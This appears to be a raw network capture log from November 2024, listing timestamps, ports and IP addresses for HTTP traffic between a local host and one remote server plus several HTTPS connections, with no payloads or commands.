Nov 19, 2024 18:00:46.827680111 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.827685118 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.827713013 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.827718973 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.827748060 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.827750921 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.827779055 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.827786922 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.827811003 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.827851057 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.827860117 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.827893972 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.827899933 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.827922106 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.827931881 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.827960014 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.827970982 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828003883 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828010082 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.828036070 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828041077 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.828071117 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828078032 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.828111887 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.828125954 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828159094 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828164101 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.828191042 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828196049 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.828227043 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828258991 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828289986 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.828291893 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828296900 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.828325033 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828358889 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828366041 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.828392029 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828424931 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828438997 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.828464985 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.828504086 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828538895 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828571081 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828581095 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.828603983 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828612089 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.828636885 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828670025 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828677893 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.828706026 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828708887 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.828737974 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828747034 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.828768969 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828778982 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.828803062 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828808069 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.828836918 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828843117 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.828869104 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828877926 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.828902006 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828908920 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.828934908 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.828942060 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.828967094 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.829000950 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.829008102 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.829032898 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.829041004 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.829066038 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.829072952 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.829098940 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.829116106 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.829133034 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.829139948 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.829165936 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.829174042 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.829200029 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.829240084 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.900800943 CET	443	49804	20.110.205.119	192.168.2.8
Nov 19, 2024 18:00:46.901144028 CET	49804	443	192.168.2.8	20.110.205.119
Nov 19, 2024 18:00:46.901173115 CET	443	49804	20.110.205.119	192.168.2.8
Nov 19, 2024 18:00:46.901180983 CET	443	49803	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:46.901571035 CET	49803	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:46.901585102 CET	443	49803	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:46.903063059 CET	443	49803	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:46.903254986 CET	49803	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:46.904232025 CET	49803	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:46.904311895 CET	443	49803	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:46.904761076 CET	49803	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:46.904769897 CET	443	49803	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:46.904886007 CET	49803	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:46.904916048 CET	443	49803	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:46.904978037 CET	443	49804	20.110.205.119	192.168.2.8
Nov 19, 2024 18:00:46.905060053 CET	49804	443	192.168.2.8	20.110.205.119
Nov 19, 2024 18:00:46.915175915 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.915194988 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.915221930 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.915237904 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.915251970 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.915261984 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.915267944 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.915282965 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.915290117 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.915297031 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.915302038 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.915328026 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.915342093 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.915353060 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.915380001 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.915594101 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.915606976 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.915632963 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.915648937 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.915656090 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.915663004 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.915674925 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.915688038 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.915694952 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.915704012 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.915709972 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.915739059 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.915841103 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.915855885 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.915870905 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.915883064 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.915885925 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.915899992 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.915913105 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.915913105 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.915932894 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.915940046 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.915955067 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.915966034 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.915970087 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.915983915 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.915992022 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916007996 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916019917 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916022062 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916038036 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916049957 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916054010 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916069984 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916075945 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916084051 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916100025 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916102886 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916114092 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916119099 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916129112 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916146994 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916152000 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916166067 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916172981 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916182041 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916196108 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916204929 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916215897 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916219950 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916234970 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916241884 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916249990 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916268110 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916291952 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916313887 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916327953 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916352987 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916357994 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916369915 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916373968 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916388988 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916394949 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916403055 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916409969 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916418076 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916424036 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916433096 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916441917 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916448116 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916457891 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916475058 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916481972 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916493893 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916513920 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916554928 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916570902 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916585922 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916589975 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916599989 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916608095 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916624069 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916637897 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916683912 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916707039 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916721106 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916735888 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916745901 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916749954 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916764021 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916774988 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916779995 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916790962 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916817904 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916852951 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916867018 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916881084 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916887045 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916896105 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916909933 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916913033 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916924000 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916939974 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916940928 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916955948 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.916965961 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.916991949 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.917563915 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.917620897 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.917701006 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.917715073 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.917732000 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.917747021 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.917757034 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.917762041 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.917771101 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.917778969 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.917788029 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.917793989 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.917819023 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.917819023 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918023109 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918045998 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918061018 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918066025 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918076038 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918086052 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918092012 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918106079 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918112993 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918123007 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918140888 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918158054 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918209076 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918232918 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918246031 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918247938 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918262959 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918268919 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918278933 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918283939 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918292999 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918297052 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918308020 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918317080 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918322086 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918332100 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918345928 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918348074 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918359995 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918365002 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918375969 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918381929 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918390989 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918396950 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918406010 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918415070 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918421030 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918430090 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918437004 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918446064 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918459892 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918473005 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918477058 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918492079 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918499947 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918517113 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918518066 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918530941 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918545008 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918546915 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918556929 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918560982 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918574095 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918576956 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918596029 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918617964 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918659925 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918682098 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918694973 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918697119 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918710947 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918725967 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918728113 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918741941 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918742895 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918756962 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918767929 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918798923 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918813944 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918829918 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918844938 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918859005 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918867111 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918873072 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918874979 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918885946 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918898106 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.918915987 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.918945074 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.930830002 CET	443	49801	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.940609932 CET	49804	443	192.168.2.8	20.110.205.119
Nov 19, 2024 18:00:46.940946102 CET	443	49804	20.110.205.119	192.168.2.8
Nov 19, 2024 18:00:46.941281080 CET	49801	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.941303015 CET	443	49801	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.941512108 CET	49804	443	192.168.2.8	20.110.205.119
Nov 19, 2024 18:00:46.941534042 CET	443	49804	20.110.205.119	192.168.2.8
Nov 19, 2024 18:00:46.941756964 CET	443	49801	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.942163944 CET	49801	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.942234039 CET	443	49801	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.942295074 CET	49801	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.949789047 CET	443	49802	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.951302052 CET	49802	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.951325893 CET	443	49802	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.952497005 CET	443	49802	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.953002930 CET	49802	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.953139067 CET	49802	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.953195095 CET	443	49802	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.963538885 CET	443	49805	108.139.47.92	192.168.2.8
Nov 19, 2024 18:00:46.963823080 CET	49805	443	192.168.2.8	108.139.47.92
Nov 19, 2024 18:00:46.963838100 CET	443	49805	108.139.47.92	192.168.2.8
Nov 19, 2024 18:00:46.964766979 CET	443	49805	108.139.47.92	192.168.2.8
Nov 19, 2024 18:00:46.964823961 CET	49805	443	192.168.2.8	108.139.47.92
Nov 19, 2024 18:00:46.966124058 CET	49805	443	192.168.2.8	108.139.47.92
Nov 19, 2024 18:00:46.966181040 CET	443	49805	108.139.47.92	192.168.2.8
Nov 19, 2024 18:00:46.966481924 CET	49805	443	192.168.2.8	108.139.47.92
Nov 19, 2024 18:00:46.966491938 CET	443	49805	108.139.47.92	192.168.2.8
Nov 19, 2024 18:00:46.983340979 CET	443	49801	13.107.246.40	192.168.2.8
